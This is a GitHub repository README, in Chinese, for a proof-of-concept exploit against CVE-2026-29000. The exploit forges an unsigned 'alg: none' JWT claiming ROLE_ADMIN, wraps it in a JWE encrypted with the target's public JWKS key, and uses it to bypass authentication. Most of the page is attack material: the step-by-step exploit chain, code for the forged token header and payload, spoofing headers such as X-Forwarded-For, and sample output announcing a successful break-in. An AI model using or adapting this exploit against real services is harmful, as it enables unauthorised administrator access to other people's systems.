zF-tm/CVE-2026-29000
GitHub: zF-tm/CVE-2026-29000
针对CVE-2026-29000的概念验证脚本,利用JWE嵌套未签名JWT的方式绕过服务端身份验证。
Stars: 0 | Forks: 1
# JWT/JWE 身份验证绕过 PoC
这是一个概念验证脚本,演示了使用 JSON Web Token (JWT) 和 JSON Web Encryption (JWE) 进行身份验证绕过漏洞。该工具利用了不当验证 token 算法的环境,通过接受封装在有效 JWE 结构中未经签名验证的 JWT(`alg: none`)。
## 工作原理
此漏洞利用链利用了一个常见的加密实现缺陷:
1. **密钥提取:** 脚本连接到目标公开暴露的 `jwks` (JSON Web Key Set) 端点,并下载服务器的公共 RSA 密钥。
2. **Token 伪造:** 它伪造一个授予 `ROLE_ADMIN` 权限的、未经签名验证的 JWT payload。它故意将算法头设置为 `"alg": "none"`。
3. **JWE 封装:** 为了绕过可能会拒绝明文或未验证 token 的初始安全过滤器,它使用服务器自己的公钥加密伪造的 JWT,将其打包成有效的 JWE。
4. **身份验证:** 伪造的 JWE 通过 `Authorization: Bearer` 头部发送到目标的受保护仪表板。如果服务器解密 JWE 并盲目信任内部的 JWT 而不验证其签名,访问将被授权。
## 前置条件
在运行脚本之前,请确保已安装 Python 3 以及必要的依赖项。
```
pip install requests jwcrypto
```
## 使用方法
该脚本需要两个参数:你要测试的目标仪表板 URL,以及托管公钥的 URL。
```
python3 exploit.py
```
## 自定义漏洞利用
根据你的目标,你可能需要调整 token 结构或 HTTP 请求以绕过特定的过滤器。
1. 自定义内部 JWT 头部与 Payload
如果目标服务器期望 JWT 内部有特定字段(例如 `typ` 头或 payload 中的自定义用户 ID),你可以轻松添加它们。
打开 `exploit.py` 并找到以下部分:
```
token_header_information = {
"alg": "none"
}
```
```
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
```
你可以添加任何你想要的字段,用逗号分隔。例如,要在 JWT 头部添加 `typ` (Type) 和 `kid` (Key ID),并在 payload 中添加自定义电子邮件:
```
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
```
```
token_user_information = {
"sub": "admin",
"email": "admin@target-site.com",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
```
2. 自定义 HTTP 头部
如果你的目标需要特定的网络头部(例如自定义 `User-Agent`、绕过头部如 `X-Forwarded-For` 或 API 密钥),请找到脚本底部的网络请求:
```
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
```
像这样添加你额外的网络头部:
```
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
```
注意:如果你在初始下载公钥时也需要发送这些头部,可以将这个相同的字典传递给脚本顶部的 `requests.get()` 调用。
## 预期输出
成功后,脚本将输出伪造的 token 和来自受限端点的解析响应,从而证明绕过成功:
```
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
```
## 故障排除
- HTTP 401/403 错误:目标服务器正在正确验证签名并拒绝 `alg: none` payload。漏洞利用失败,因为目标是安全的。
- 连接错误:确保提供的 URL 包含完整的协议方案(`http://` 或 `https://`),并且目标服务器当前可以访问。
- 依赖项错误:确保通过 `pip` 正确安装了 `jwcrypto`。
标签:alg:none, CISA项目, CVE-2026-29000, jwcrypto, JWE, JWKS, JWT, PoC, Python, ROLE_ADMIN, Web安全, 代码生成, 令牌伪造, 公钥提取, 授权绕过, 数据展示, 无后门, 暴力破解, 渗透测试工具, 特权提升, 算法篡改, 红队, 网络安全, 自动化部署, 蓝队分析, 认证绕过, 越权访问, 身份伪造, 逆向工具, 隐私保护, 零日漏洞